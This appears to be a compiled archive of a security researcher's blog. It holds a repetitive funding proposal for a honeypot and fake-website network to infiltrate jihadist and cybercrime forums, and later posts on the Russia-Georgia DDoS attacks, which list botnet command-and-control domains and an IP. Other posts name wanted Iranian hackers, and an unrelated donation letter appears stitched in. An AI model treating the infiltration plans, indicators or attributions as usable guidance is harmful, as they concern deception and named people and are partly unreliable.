the foothold of a deceptive campaign ensuring the collection of actionable real-time time ji-

hadist data to be analyzed and profiled. Successfully positioning the bank within the network

assets acquisition would ensure the collection of actionable and real-time jihadist data further

ensuring the successful interception of jihadist activities online.Successful positioning in terms

of points of contact would ensure active phishing and malware attack profiling and monitoring

successfully resulting in active profiling and monitoring of jihadist activity online.

5801

The initial idea of setting up a fake university would result in the active profiling and moni-

toring of various jihadist community type of jihadist activity online successfully positioning a

localized in Persian and Arabic fake university successfully resulting in the active profiling and

monitoring of jihadist activity online. Sample fake university content type of localized fake

university portfolio of facilities and educational courses would result in the active positioning

for a localized and segmented active profiling and monitoring of jihadist activity online.

It would consist of active SCADA research and cyber security type of research and analysis

facility allowing the active monitoring of malicious activity, for the origin source country Iran,

Pakistan, Saudi Arabia, Iraq and Syria.Successful positioning in terms of points of contact would

ensure active phishing and malware attack profiling and monitoring successfully resulting in

active profiling and monitoring of jihadist activity online.

• **Fake Company – Ostan Industries**

The initial idea behind setting up a fake company would be to successfully intercept and pro-

file actionable real-time jihadist activities online to successfully intercept and profile various

jihadist activities online.The initial idea behind setting up a fake company would be to posi-

tion a SCADA type of infrastructure localized in Persian, Arabic for the purpose of successfully

profiling and monitoring various jihadist activity online.

5802

With a successful placement and active content generating localized in Persian, Arabic a fake

company deployment using honeypot appliance technology would result in active capability

estimation and profiling of various jihadist activity online.Successful positioning in terms of

points of contact would ensure active phishing and malware attack profiling and monitoring

successfully resulting in active profiling and monitoring of jihadist activity online.

Cyber Jihad Sensor Network

This intelligence brief will details the basic company project taxonomy structure for the purpose

of establishing the foundations for a successful data and intelligence-driven type of research

based type of cybercrime and malicious-activity tracking activity to

include but not limited to

cybercrime community forum data and active social media monitoring and profiling capabili-

ties.

• **forum topic**

5803

the platform will be ultimately capable of processing a particular forum topic for the purpose

of establishing the foundations for a successful intelligence gathering process

• **forum message**

the platform will be ultimately capable of processing a particular forum message for the

purpose of establishing the foundations for a successful intelligence gathering process

• **forum member**

the platform will be ultimately capable of processing a particular forum member for the

purpose of establishing the foundations for a successful intelligence gathering process

• **forum member message**

the platform will be ultimately capable of processing a particular forum member message for

the purpose of establishing the foundations for a successful intelligence gathering process

• **forum message**

- the platform will be ultimately capable of processing a particular forum message for the

purpose of establishing the foundations for a successful intelligence

gathering process

• **forum message**

- the platform will be ultimately capable of processing a particular forum external message for

the purpose of successfully establishing the foundations for a successful intelligence gathering

process

• **forum time**

5804

- the platform will be ultimately capable of processing a particular forum time for the purpose

of establishing the foundations for a successful intelligence gathering process

• **forum data**

the platform will be ultimately capable of processing data including date time message url

email ultimately establishing the foundations for a successful intelligence gathering process

• **forum URL**

the platform will be ultimately capable of processing a particular forum URL further estab-

lishing the foundation for the Obnomix platform further establishing the foundations for a

successful intelligence gathering process

• **forum media**

the platform will be ultimately capable of processing forum media further establishing th

foundations for the Obnomix platform further establishing the foundations for a successful

intelligence gathering process

• **forum email**

the platform will be ultimately capable of processing forum email further establishing the

foundations for the Obnomix platform further establishing the foundations for a successful

intelligence gathering process

• **forum contact**

the platform will be ultimately capable of processing forum contact further establishing the

foundations for the Obnomix platform further establishing the foundations for a successful

intelligence gathering process

Detailed Project Funding Stages Information

The initial stage of the project will consist of selective and timely purchase of all the

necessary appliances including the timely localization and successful acquisition of fake Web

sites honeypot solutions including the active acquisition of network assets for the purpose of

successfully honeypot solution placement.

• The main objective of the initial phase would be to acquire all the necessary equipment

for the purpose of setting up the foundations for the Obmonix platform. The equipment

will be acquired in a timely fashion largely relying on a selected set of proprietary industry

leading set of contacts.

• The main objective of the next phrase would be to ensure that the equipment is placed in

a secure location and is properly maintained for the purpose of ensuring that the operator

is capable of operating the Obmonix platform in a secure way.

• The main objective of the next phase would be to establish the

foundations of the world's

largest data set of intelligence data for the purpose of ensuring that the Obmonix platform

is capable of processing and intercepting the necessary data.

• The main objective of the next phase would be to acquire the necessary proprietary service

based solutions that would empower the operator with the necessary tools to process and

intercept data.

• The main objective of the next phase would be to process and intercept the world's largest

data set of cybercrime and cyber jihad data.

Detailed Project Funding Phase Information

01.

The initial stage of the project will consist of selective and timely purchase of all

the necessary appliances including the timely localization and successful acquisition of fake

Web sites honeypot solutions including the active acquisition of network assets for the purpose

of successfully honeypot solution placement.

• Associated deliverables will include access to proprietary technology the ability to asso-

ciate long-term task including the ability to set the foundation for the Obmonix platform

including eventual commercialization of the Obmonix platform further enhancing the op-

erator's ability to continue providing the Intelligence Community with the necessary data

to proactively respond to a growing set of malicious nation-state and malicious actors type

of cybercrime and cyber-jihad activity globally.

02.

The next stage will consist of active placement of the required equipment in a se-

cure location including the placement of active secure measures in place to ensure that the

Obmonix operator remains work in a secure location including premise.

• Associated deliverables will include secure work place including the ability to empower

the operator with the necessary data to perform various operator activity ensuring global

presence for Intelligence Community members and the security industry

03.

The next stage will consist of active spam phishing and malware feed access pur-

chase including successfully geolocated placement within specific regions of choice of interest

inducing but not limited to Algeria, Argentina, Bahrain, Bolivia, Brazil, Burkina Faso, Chile,

China, Colombia, Cyprus, Ecuador, Guatemala, Jordan, Democratic People’s Republic of Korea,

Liberia, Macao, Maldives, Moldova, Republic of Nauru, Niger, Pakistan, Poland, Romania, Sierra

Leone, Sudan, Arab Republic Syrian, Togo, Uganda, Vanuatu, Yemen.

5878

• Associated deliverables will include access to the world’s largest portfolio of threat intelli-

gence data set including access to real-time data successfully empowering the operator

with the necessary data to perform an operator activity.

04.

The next stage will include the active acquisition of service-based type of localiza-

tion and acquisition solutions leading to a successful set of data to be processed and collected

by the sensor.

• Associated deliverables will include access to proprietary technology successfully empow-

ering the operator with the necessary data to perform the operator activity including real-

time monitoring of the world's largest and most comprehensive sensor network based

type of cybercrime and cyber-jihad sensor based type of platform.

05. The next phase will include the active data acquisition from the Intelligence Community's

leading intelligence gathering platform in the form of active data placement including the

establishment of an active threat intelligence-gathering portal based type of platform.

• Associated deliverable will include the world's largest data set of cybercrime and cyber

jihad activity sensor type of platform eventually leading the Obmonix platform to reach a

commercialization stage further enhancing the Intelligence Community's and the security

industry's mission.

Detailed Project Cost Proposal Information

The initial stage of the project will consist of selective and timely purchase of all the

necessary appliances including the timely localization and successful

acquisition of fake Web

sites honeypot solutions including the active acquisition of network assets for the purpose of

successfully honeypot solution placement.

• **FortiMail**

5879

Key points:

• The appliance is capable of processing millions of emails on a daily basis

• The appliance is capable of maintaining a list of thousands of fake emails allowing addi-

tional attribution potentially expanding the capabilities of the appliance to include addi-

tional custom made spam origin sources.

• The appliance is capable of delivering actionable intelligence on millions of spam origin

sources, for Iran, Pakistan, Saudi Arabia, Iraq and Syria, on a daily basis

• The appliance is capable of delivering detailed information, leading, to the production of

actionable intelligence, for Iran, Pakistan, Saudi Arabia, Iraq and Syria, on a daily basis.

The FortiMail appliance would ensure the active acquisition of spam for the purpose of estab-

lishing the foundations for a successful research and monitoring type of research and analysis

type of system allowing the systematic real-time and automated acquisition of malicious

software phishing and social engineering.

• **Blue Coat Malware Analysis**

5880

Key points:

• The appliance is capable of processing thousands of malware samples, on a daily basis

• The appliance is capable of maintaining detailed information processed and delivered in

an automated fashion for malicious sources originating in Iran, Pakistan, Saudi Arabia,

Iraq and Syria

• The appliance is capable of interacting with Web links found in malicious spam emails

for the purpose of establishing the foundations, for successful monitoring of malicious

software phishing and social engineering originating for Iran, Pakistan, Saudi Arabia, Iraq,

and Syria including the automated processing and interaction with mobile malware

• The appliance is capable of maintaining detailed information leading to the production of

quality real-time, actionable intelligence type of reports for malicious software phishing

and social engineering data type of origin sources for Iran, Pakistan, Saudi Arabia, Iraq

and Syria

The Blue Coat Malware Analysis would ensure the automated and real-time acquisition of

malicious software phishing and social engineering type of research and analysis type of

research for the purpose of ensuring the active and real-time acquisition of malicious software

phishing and social engineering research type of activity originating in these sources.

• **Vormetric encryption appliance**

5881

Barracuda

Key points:

• The encryption appliance would ensure the real-time data storage of the research and

analysis type of research and analysis type of data to ensure the availability confidentiality

and integrity of the data for the purpose of producing actionable real-time intelligence

based type of research and analysis reports type of research and analysis data.

• The encryption appliance would ensure the active real-time storage of the actionable and

real-time delivered type of research and analysis type of data allowing the efficient and

systematic and automated research and analysis type of research report data to be pro-

cessed and analyzed.

The encryption appliance would ensure that the platform operator is properly empowered with

the necessary data techniques and technologies to properly act upon analyze and respond to

cybercrime and cyber jihad events globally.

• **Barracuda Web Application appliance**

Key points:

5882

Check Point®
SOFTWARE TECHNOLOGIES LTD.

• The Web application appliance would allow the automated secure use of the robot system

allowing the systematic real-time data acquisition on various jihadst sources

• The Web application appliance would ensure the automated and efficient use of the robot

in a secure fashion allowing the production of real-time actionable intelligence allowing

the production of research and analysis based type of research and

analysis type of, data.

The Web application appliance would ensure that the operator is properly empowered with

the necessary data techniques and technologies to properly act upon analyze and respond to

cybercrime and cyber jihad events globally.

• **Checkpoint DDoS Protector**

Key points:

• The appliance is capable of preventing exposure of the network assets utilized by the

network resulting potentially resulting in the exposure of the availability confidentiality

and integrity of the information

• The appliance is capable of ensuring the real-time automated and persistent availability

and integrity and confidentiality of the information

The Checkpoint DDoS Protector would ensure the constant availability of the network in-

frastructure utilized in this project potentially preventing compromise of the network assets

resulting in improved productivity and realization of various project objectives.

5883

Ultra Electronics 3eTI

• **Encryption appliance**

Key points:

• The encryption appliance is capable of ensuring the confidentiality

integrity and availabil-

ity of the information

• The encryption appliance is capable of distinguishing between multiple networks further

ensuring a closed network type of network access

The encryption appliance would ensure that the maximum possible secure measures are

currently in place further ensuring that access to the closed restricted network remains as

private as possible ensuring the confidentiality integrity and availability of the information to

further ensure the active real-time intelligence based real-time type of research and analysis

type of research and analysis type of data.

• **Cisco Catalyst**

5884

Key points:

• The appliance is capable of ensuring the real-time and automated use of the network

equipment necessary to maintain the active infrastructure to ensure that it’s operating in

an automated and efficient fashion

Cisco Catalyst is a network equipment allowing the efficient productivity type of interconnec-

tion between all the platforms and network equipment used in this project.

• **Kapow appliance**

5885

Key points:

• The appliance is capable of processing hundreds of thousands of Web sites on a daily

basis ensuring the automated processing and analysis of jihadist communities allowing

the automation of the monitoring process to further enhance the produced actionable

intelligence leading to a research and analysis produced type of research and analysis

type of data.

• The appliance is capable of monitoring and establishing the foundations for real-time mon-

itoring and analysis of jihadist communities for the purpose of producing actionable real-

time intelligence research and analysis type of research and analysis data.

• The appliance is capable of processing multiple jihadist forum communities for the pur-

pose of establishing the foundations for successful real-time actionable intelligence pro-

ducing research and analysis type of research and analysis data.

The analysis appliance would ensure timely and real-time access to current and historical

intelligence data in regard to jihadist activities online,through the systematic automated and

real-time data acquisition from a variety of public and closed sources for the purpose of setting

up the foundations for a successful data source leading to a successful analysis and research

type of analysis activities.

• **Appliance router**

5886

Infoblox®

CONTROL YOUR NETWORK

Palantir

Key points:

• The appliance router would ensure the constant and real-time availability of the network

assets for the purpose of active and timely acquisition of actionable real-time research

and analysis type of research and analysis report type of research and analysis network

assets availability.

The purpose of the appliance router would be to ensure real-time connectivity with a variety

of platforms to ensure that the operator is properly empowered with the necessary data

techniques and technologies to properly act upon analyze and respond to cybercrime and

cyber jihad events globally.

• **Analytics appliance**

5887

BASIS
TECHNOLOGY

Key points:

• the analytics appliance would be capable of performing real-time assessment of cyber-

crime and cyber jihad events globally and will ultimately empower the Obmonix platform

operator with the necessary data information and knowledge to act upon prevent and

respond to cybercrime and cyber jihad events globally

The purpose of the appliance would be to empower the operator with

the necessary data

information and knowledge to act upon react to and respond to various cybercrime and cyber

jihad events globally.

• **Rosette appliance**

Key points:

5888

• The localization appliance will ultimately empower the Obmonix platform operator with

the necessary data information and knowledge to act upon respond to and prevent

widespread damage while analyzing cybercrime and cyber jihad events globally.

The purpose of the localization appliance would be to empower the Obmonix platform opera-

tor with the necessary data information and knowledge to act upon respond to and prevent

widespread damage provoked by cybercrime and cyber jihad events globally.

• **Systran appliance**

Key points:

• The Systran appliance will ultimately empower the operator with the necessary data in-

formation and knowledge to act upon respond to and prevent widespread damage while

analyzing cybercrime and cyber jihad events globally.

The purpose of the Systran appliance would be to empower the Obmonix platform operator

with the necessary data information and knowledge to act upon respond to and prevent

widespread damage provoked by cybercrime and cyber jihad events globally.

5889

Funding Phase

The initial funding phrase will consist of active acquisition of assets for the purpose of

obtaining access to industry leading and proprietary selected providers of threat intelligence

for the purpose of establishing the foundations for an active sensors network type of cy-

bercrime/cyber jihad monitor sensor network type of data. The initial stage will consist of

obtaining assets for the purpose of obtaining access to industry leading and proprietary

selected equipment for the purpose of setting the foundations for a successful sensor network

based type of data.

The initial phase will consist of active purchase of the following equipment: FortiSandbox,

Blue Coat Malware Analysis, NAS Storage, Cisco Firewall, PfSense, Cisco Catalyst, Vormetric

encryption appliance, including the following subscription-based type of threat intelligence

gathering data - Team Cumry, threat, data, feed, Kaspersky, threat, data, feed, Abusix, threat,

data, feed, MalwarePatrol, threat, data, feed, Sophos, threat, data, feed, OPSWAT, Abusix,

Threat, Feed, Threat, Feed, ProjectHoneypot, threat, data, feed.

- Kaspersky Data Feed

- Sophos Data Feed

- Team Cumry Data Feed

- MalwarePatrol Data Feed

- Abusix Data Feed

- LookingGlass Data Feed

- Cyren Data Feed

5890

- Symantec Data Feed

- VirusTotal Data Feed

- ProjectHoneypot Data Feed

The second funding phase will consist of active acquisition of honeypot appliance including

active netblock purchase within a dedicated set of countries for the purpose of establishing the

foundations of an active sensor network type of data-acquisition activities. The second funding

phase will consist of active acquisition of the following proprietary appliances: Honeybox

Enterprise, honeybox SCADA, including netblocks within the following countries,

The third funding phase will consist of active purchase of service and solution-based ap-

pliance, including data-processing appliance, including localization appliance, for the purpose

of setting up the foundations for the Obmonix platform successfully empowering its operator

with the necessary data and expertise for the purpose of actively responding to global

cybercrime and jihad events.

The third funding phase will consist of active purchase of the following appliances: Kapow

Software, Rosette appliance, Systran appliance, Sentinel appliance, Palantir appliance.

The fourth funding phase will consist of active purchase of the World's most popular solution-

oriented portal for Information Security - **Expedited Entry Into the Cyber Warfare Realm –**

a Pro-U.S Based Offensive and Asymmetric Cyber Warfare Practical Trends Application Big

Data and Research-Centered R &D Platform - further ensuring successfully and ongoing

commercilization including the active acquisition of client-base, including the establishing of

the World's largest endpoint based sensor network for tracking and responding to cybercrime

and jihad events globally.

Dancho Danchev will build a pro-U.S offensive and asymmetric cyber warfare program

5891

that will inevitably dive deep into the Cyber Warfare realm and will produce what can be best

described as the U.S primary source for offensive and asymmetric cyber warfare information

repository and data-information on current and future trends and provide the foundations for

a successful R &D cyber warfare partnership with millions of loyal Pro-Western cyber warriors

and researchers globally positioning the platform as the leading think-tank for practical

and relevant cyber warfare power including the World's leading Pro-Western Cyber Warfare

Research and Development research program center.

With the U.S attempting to tackle the country's perceived and outdated Mis-understanding

of Cyber Warfare in Today's Modern Russia China and Iran dominated Cyber Warfare Realm

including the ongoing shortage of recruitment and relatively outdated and not necessary dy-

namic HR-management pool of hundreds of thousands of Pro-U.S Cyber Warriors the platform

ultimately empower the re-position the U.S as the dominant Cyber Warfare power by providing

actionable think-tank type of proactive and actionable Cyber Warfare insight including the

active and permanent recruitment of millions of Pro-U.S Cyber Warriors further supporting the

U.S's mission on its way to dominate and launch offensive and defensive cyber missions and

related research attacks.

The project will conduct what can be best described as the most comprehensive study

and analysis to the United States out-dated understanding of the Cyber Warfare realm and

provide actionable and practical insight including a production-ready HR-management and

Big Data driven Cyber Warfare platform successfully disrupting

international cybercrime

networks conducting economic terrorism infiltrating the vibrant cyber-crime and cyber jihad

international community and successfully recruiting millions of Pro-U.S Cyber Warriors. The

First Stage of the project would ensure that the foundations for a successful invite-only Pro-U.S

Cyber Warfare community have already been established through the direct launching and

operation of the World's Largest and Proprietary Invite-Only Pro-U.S Cyber Warfare Forum

Community.

Associated deliverables will include: the World's largest search engine for security infor-

mation, the World's most vibrant community for security job search, the World's most vibrant

proprietary community for sharing disseminating communicating and enriching security data,

5892

the World's most comprehensive sensor network for observing disseminating and responding

to global cybercrime-events, the release of community-enriched security router, the successful

release of community-enriched privacy router, the development and release of community-

enriched public threat feed, the release of community-enriched private threat feed, including,

proprietary threat feed, targeted threat intelligence on demand type of research and analysis

producing solution, proprietary bug bounty solution, hacking and security-oriented online

radio, hacking and security-oriented E-zine, hacking and security-oriented videocast, on-

demand penetration testing and offensive team consulting, on-demand Web site monitoring

for security events, OEM partnership capabilities, custom-build anti-virus scanner capabilities.

Community Industry Reference

The contractor Dancho Danchev is an internationally recognized cybercrime researcher

security blogger and threat intelligence analyst in the field of cybercrime research having

successfully contributed to the overall demise of cybercrime internationally throughout the

past decade having successfully pioneered a variety of threat intelligence gathering method-

ologies leading him to a successful, pursued of high profile nation-state actors and malicious

actors across the globe leading him to a successful pursued of high-profile nation-state

actors and malicious adversaries across the globe the researcher successfully launched a

newly launched startup named Disruptive Individuals aiming to disrupt the undermine the

international cybercrime and cyber-jihad ecosystem globally.

Statement of Work (SOW)

01. Vendor contact - the initial stage of the project will consist of direct contact between

industry leading commercial security appliance providers further requesting pricing and

shipping details including a “point-of-contact”.

• Possible deliverables consisting of the initial stage include industry-leading security appli-

ance - FortiMail, Blue Coat Malware Analysis. FortiSandbox, Vormetric encryption appli-

ance, Barracuda Web Application appliance, Checkpoint DDoS Protector, Ethernet encryp-

tor, Cisco Catalyst, Kapow appliance, Palantir appliance, Cisco firewall appliance, Rosette

appliance, Systran appliance, NAS appliance, pfSense appliance, Honeybox appliance,

Honeybox SCADA appliance.

5893

02. Vendor netblock contact - The initial stage of the project will consist of direct contact

between industry leading providers of netblock requesting pricing information for specific

pre-defined geolocated regions of interest.

• Possible deliverables including netblock in Algeria, Argentina, Bahrain, Bolivia, Brazil,

Burkina faso, Chile, China, Colombia, Cyprus, Ecuador, Guatemala, Jordan, Democratic

People’s Republic of Korea, Liberia, Macao, Maldives, Moldova, Republic of Nauru, Niger,

Pakistan, Poland, Romania, Sierra Leone, Sudan, Arab Republic Syrian, Togo, Uganda, Van-

uatu, Yemen.

03. Vendor threat data contact - the initial stage of the project will consist of direct contact

between industry-leading including a selected set of threat data providers requesting pricing

information including possible partnership opportunity.

• Possible deliverables including Team Cumry threat data feed Kaspersky threat data feed,

Abusix threat data feed, MalwarePatrol threat data feed, Sophos threat data feed, OPSWAT,

Abusix Threat Feed, ProjectHoneypot threat data feed.

04. Secure location foundation - the initial stage of the project will consist of direct evaluation

of the infrastructure required for the secure location including direct contact between security

vendors to ensure a secure location.

• Possible, deliverables, include, military-grade, fence, surveillance, security, guard.

05. Vendor connection contact - the initial stage of the project will consist of direct contact

between vendor to ensure that the infrastructure is properly secured ensuring a timely and

secure infrastructure.

• Possible deliverables include direct connection.

06. Secure work environment - the initial stage of the project will consist of direct evaluation

including a direct purchase of a work terminal to ensure a smooth and secure work environ-

ment

• Possible deliverables including RF shielding, SEL SP–157, FSPK-10, SEL SP-113 "Blockade".

5894

07. Secure work environment - the initial stage of the project will consist of direct evaluation

including a direct purchase of equipment related to secure work environment to ensure a

smooth and secure work environment.

• Possible deliverables including Cisco Firepower ASA, CheckPoint Threat appliance, Nova

network appliance, Fortinet security appliance, Dell Soho network, security appliance.

The contractor Dancho, Danchev is one of the world's leading experts in the field of cybercrime

research and threat intelligence gathering having successfully tracked monitored and profiled

high-profile nation-state and malicious actors type of fraudulent activity over the past decade

having successfully pioneered and established a direct connection with some of the world's

leading providers of threat intelligence gathering.

The contractor's initial goal for the purpose of the Obmonix platform would be to achieve the

world's largest and most comprehensive sensor type of network for monitoring profiling and

keeping track of nation-state malicious-actors type of fraudulent and malicious activity.

The project main base would be located in a discreet location in Sofia Bulgaria.

The

contractor would eventually ensure that active RF shielding including basic physical security

measures are taken in place including active surveillance military-grade fence and an asso-

ciated security guard are in place for the purpose of establishing the foundation of a secure

work environment.

The Obmonix platform aims to build the World’s most versatile and comprehensive sen-

sor network for intercepting monitoring and responding to cybercrime and cyber jihad events

successfully deploying a variety of proprietary sensor network based of honeypot appliances

industry-wide partnership including the utilization of proprietary cybercrime and cyber jihad

forum and community monitoring and infiltration campaigns successfully positioning the

platform as the leading indicator for cybercrime and cyber jihad activity globally.

5895

Cost Proposal - Detailed Project Information

01. Equipment cost - The Obmonix platform will ultimately rely on the following equipment

cost for the purpose of establishing the foundations for the Obmonix platform.

• FortiMail

• FortiSandbox

• Blue Coat Malware Analysis

• Vormetric encryption appliance

• Checkpoint DDoS Protector

• Encryption appliance

• Cisco Catalyst

• Kapow appliance

• Appliance router

• Analytics appliance

• Infoblox Trinzic 1420

• Nova network security

• Cisco firewall appliance

• IllusionBlack Framework

• Rosette appliance

• Systran appliance

• NAS appliance

• pfSense

• Honeybox appliance

• Honeybox SCADA appliance

• Network equipment

Detailed Project Funding Phase Information

5896

01.

The initial funding phrase will consist of active acquisition of assets for the purpose

of obtaining access to industry leading and proprietary selected providers of threat intelli-

gence for the purpose of establishing the foundations for an active sensors network type of

cybercrime/cyber jihad monitor sensor network type of data. The initial stage will consist

of obtaining assets for the purpose of obtaining access to industry leading and proprietary

selected equipment for the purpose of setting the foundations for a successful sensor network

based type of data.

• The initial phase will consist of active purchase of the following equiptment: FortiSand-

box, Blue Coat Malware Analysis, NAS Storage, Cisco Firewall, PfSense, Cisco Catalyst,

Vormetric encryption appliance, including the following subscription-based type of threat

intelligence gathering data - Team Cumry threat data feed, Kaspersky threat data feed,

Abusix,threat data feed, MalwarePatrol threat data feed, Sophos threat data feed, OPSWAT,

Abusix Threat Feed, ProjectHoneypot threat data feed.

Including the following Threats Feeds:

• Kaspersky Data Feed

• Sophos Data Feed

• Jigsaw Threat Data Feed

• IBM X-Force Exchange

• Team Cumry Data Feed

• Proofpoint Threat Feed

• NetSTAR Data Feed

• RiskIQ Data Feed

• ESET Data Feed

• Pixalate Data Feed

• MalwarePatrol Data Feed

• Abusix Data Feed

• Massive Data Feed

• PhishLabs Data Feed

• LookingGlass Data Feed

• Blueliv Data Feed

5897

• Mnemonic Data Feed

• Cyren Data Feed

• ADMINUSLabs Data Feed

• NSFOCUS Data Feed

• Webroot Data Feed

• Symantec Data Feed

• VirusTotal Data Feed

• ProjectHoneypot Data Feed

02. The second funding phase will consist of active acquisition of honeypot appliance including

active netblock purchase within a dedicated set of countries for the purpose of establishing

the foundations of an active sensor network type of data-acquisition activities.

• The second funding phase will consist of active acquisition of the following proprietary

appliances: Honeybox Enterprise, Infoblox Trinzic 1420, honeybox SCADA, including net-

blocks within a dedicated set of countries - Algeria, Argentina, Bahrain, Bolivia, Brazil,

Burkina faso, Chile, China, Colombia, Cyprus, Ecuador, Guatemala, Jordan, Democratic

People’s Republic of Korea, Liberia, Macao, Maldives, Moldova, Republic of Nauru, Niger,

Pakistan, Poland, Romania, Sierra Leone, Sudan, Arab Republic

Syrian, Togo, Uganda, Van-

uatu, Yemen.

03. The third funding phase will consist of active purchase of service and solution-based

appliance, including data-processing appliance, including localization appliance, for the

purpose of setting up the foundations for the Obmonix platform successfully empowering

its operator with the necessary data and expertise for the purpose of actively responding to

global cybercrime and jihad events.

• The third funding phase will consist of active purchase of the following appliances: Kapow

Software, Rosette appliance, Systran appliance, Sentinel appliance, Palantir appliance.

In case you’re interested in working with me for the purpose of implementing this project in-

cluding possible investor introduction - I can be reached at dancho.danchev@hush.com

14.8.2 The Russia vs Georgia Cyber Attack (2018-12-17 20:08)

Last month's lone gunman [1]DDoS attack against Georgia President's web site seemed like

a signal shot for the cyber siege to come a week later. Here's the complete coverage of

the coordination phrase, the execution and the actual impact of the cyber attack so far -

"[2]Coordinated Russia vs Georgia cyber attack in progress" :

" *Who's behind it?*

The infamous Russian Business Network, or literally every Russian

supporting Russia's actions? How coordinated and planned the cyber attack is, and do we

actually have a relatively decent example of cyber warfare combining PSYOPs (psychological

operations), and self-mobilization of the local Internet users by spreading "For our motherland,

brothers! " or "*Your country is calling you! "* hacktivist messages across web forums. Let's find

out, in-depth. With the attacks originally starting to take place several weeks before the actual

5899

"intervention" with [3]Georgia President's web site coming under DDoS attack from Russian

hackers in July, followed by active discussions across the Russian web on whether or not DDoS

attacks and web site defacements should in fact be taking place, which would inevitably come

as a handy tool to be used against Russian from Western or Pro-Western journalists, the peak

of [4]DDoS attack and the actual defacements started taking place as of Friday."

Some of the tactics used :

distributing a static list of targets, eliminate centralized coordination

of the attack, en-

gaging the average internet users, empower them with DoS tools; distributing lists of remotely

SQL injectable Georgian sites; abusing public lists of email addresses of Georgian politicians

for spamming and targeted attacks; destroy the adversary's ability to communicate using the

usual channels – Georgia's most popular hacking portal is under DDoS attack from Russian

hackers.

Some of the parked domains acting as command and control servers for one of the bot-

nets at **79.135.167.22** :

Actual command and control locations :

a-nahui-vse-zaebalo-v-pizdu .com/a/nahui/vse/zaebalo/v/pizdu/

prosto.pizdos .net/ _lol/

[5]Consider going through the complete coverage of what's been happening during the

weeked. Considering the combination of tactics used, unless the conflict gets solved, more

attacks will definitely take place during the week.

15.1.1 Who's Behind BakaSoftware? - OSINT Analysis (2019-01-15 18:32)

Remember [1]**BakaSoftware**?

The ubiquitous scareware-serving and distributing money

laundering scareware affiliate-based network circa 2008? It appears that the time has come

to expose the actual individuals behind the campaign and the actual network.

In this analysis I'll discuss in depth the BakaSoftware franchise circa

2008 including in-

depth and personally identifiable information on the cybercriminals behind it with the idea to

empower law enforcement and the security industry with the necessary data and information

that would eventually lead to the prosecution and tracking down of the cybercriminals behind

BakaSoftware.

It gets even more interesting to find out that BakaSoftware's Gavril Danilkin is currently running

a rogue and potentially malicious rogueware and adware distributing affiliate-company known

as Zaxar Limited. Let's take the time and effort and provide actionable intelligence on the

infrastructure behind the campaign.

15.1.2 Exposing Iran's Most Wanted Cybercriminals - FBI Most Wanted Checklist -

OSINT Analysis (2019-01-16 11:09)

Remember my most recently published " **[1] Assessing The Computer Network Operation**

(CNO) Capabilities of the Islamic Republic of Iran - Report"? The report details and discusses

in-depth the most prolific Iran-based government-sponsored and tolerated hacking groups

including the following groups:

- Ashiyane Digital Security Team

- Iranhack Security Team

- Iranian Datacoders Security Team

- Iran Security Team a.k.a SEPANTA Team/Iran Cyber Army 2012/2013

5957

- IDH Security Team

- Bastan Security Team

- NOPO Digital Security Team

- Shekaf Security Team

- Mafia Hacking Team

- Iran Black Hats Team

- Delta Hacking Security Team

- Digital Boys Underground Team

- IrIst Security Team

I recently came across to **[2] FBI's Most Wanted Cybercriminals** List and decided to elab-

orate more by providing actionable Threat Intelligence on some of the most Wanted Iranian

cybercriminals with the idea to help law enforcement and to inform the security industry and

to ensure that the cybercriminals behind these campaigns can be properly tracked down and

prosecuted.

I can be reached at dancho.danchev@hush.com

In this OSINT analysis I'll provide actionable intelligence including personally identifiable

information some of FBI's Most Wanted Iranian cybercriminals including **[3] Ahmad Fathi**,

[4] Hamid Firoozi, **[5] Amin Shokohi**, **[6] Mohammad Sadegh Ahmadzadegan**, **[7] Omid Ghaf-**

farinia, **[8] Sina Keissar**, **[9] Nader Saedi** including the infamous ITSec Team and the Mersad

Co. company.

Dear Mr. Ahmadzadegan, dear Mr. Ghaffarinia,

We would like to seize this opportunity to convey our sincere gratitude for your donation of 2,705.- € to our charity Iranische Kinderkrebshilfe e.V.. Your donation will be transferred to MAHAK – the Society to Support Children Suffering from Cancer in Iran for procuring required medication for treating cancer.

Children receiving treatment due to philanthropic acts like yours will have the chance for hope towards a brighter future for themselves and their families. You are truly influencing the life of others towards a tangible improvement.

Thank you again for your generous support of the effort to help children suffering from cancer.

Sincerely yours

15.1.3 The Threat Intelligence Market Segment - A Complete Mockery and IP

Theft Compromise - An Open Letter to the U.S Intelligence Community

(2019-01-24 19:25)

I recently came across to the most recently published **[1] DoD Cyberspace Strategy 2018**

which greatly reminded me of a variety of resources that I recently took a look at in terms of

catching up with some of the latest cyber warfare trends and scenarios. Do you want to be a

cyber warrior? Do you want to "hunt down the bad guys"? Watch out - Uncle Sam is there to

spank the very bottom of your digital irrelevance. How come?

It appears that the U.S is re-claiming back the dominance over the "communication channel"

using a variety of real-life oriented cyber threats including referencing and citing security

researchers and NGOs (Non-Profit Organization) as potential threats. Takes you back - doesn't

it? If it's going to be massive it better be good.

6015

(2) **Non-State Threats.** Non-state threats are formal and informal organizations not bound by national borders, including legitimate nongovernmental organizations (NGOs), and illegitimate organizations such as criminal organizations, violent extremist organizations, or other enemies and adversaries. Non-state threats use cyberspace to raise funds, communicate with target audiences and each other, recruit, plan operations, undermine confidence in governments, conduct espionage, and conduct direct terrorist actions within cyberspace. Criminal organizations may be national or transnational in nature and steal information for their own use, including selling it to raise capital and target financial institutions for fraud and theft of funds. They may also be used as surrogates by nation-states or non-state threats to conduct attacks or espionage through cyberspace.

(3) **Individuals or Small Group Threat.** Even individuals or small groups of people can attack or exploit US cyberspace, enabled by affordable and readily available techniques and malware. Their intentions are as varied as the number of groups and individuals. These threats exploit vulnerabilities to gain access to discover additional vulnerabilities or sensitive data or maneuver to achieve other objectives. Ethical hackers may share the vulnerability information with the network owners, but, more frequently, these accesses are used for malicious intent. Some threats are politically motivated and use cyberspace to spread their message. The activities of these small-scale threats can be co-opted by more sophisticated threats, such as criminal organizations or nation-states, often without their knowledge, to execute operations against targets while concealing the identity of the threat/sponsor and also creating plausible deniability.

It’s been several years since I last posted a quality update following my **[2] disappear-**

ance and possible kidnapping attempt circa 2010. What really took place during that period of

time? The rise of ransomware? The rise of Tech Support Scams? Yet another botnet currently

spreading In The Wild? A market-driven buzz-word generation? Take that - ransomware is there

to take care, hundreds of thousands of supposedly relevant IOCs (Indicators of Compromise)

TTPs (tactics techniques and procedures) discussed to the bottom of your PR-relevant online

presence. The Rise of the Threat Hunter job career opportunity basically empowering with

you with the almighty skills to "track down" and "shut down" the bad guys? You wish - Uncle

Sam is always there to take care.

Let’s discuss the Threat Intelligence market segment and offer an in-depth discussion

on its inner working including a possible discussion on the Threat Intelligence market segment

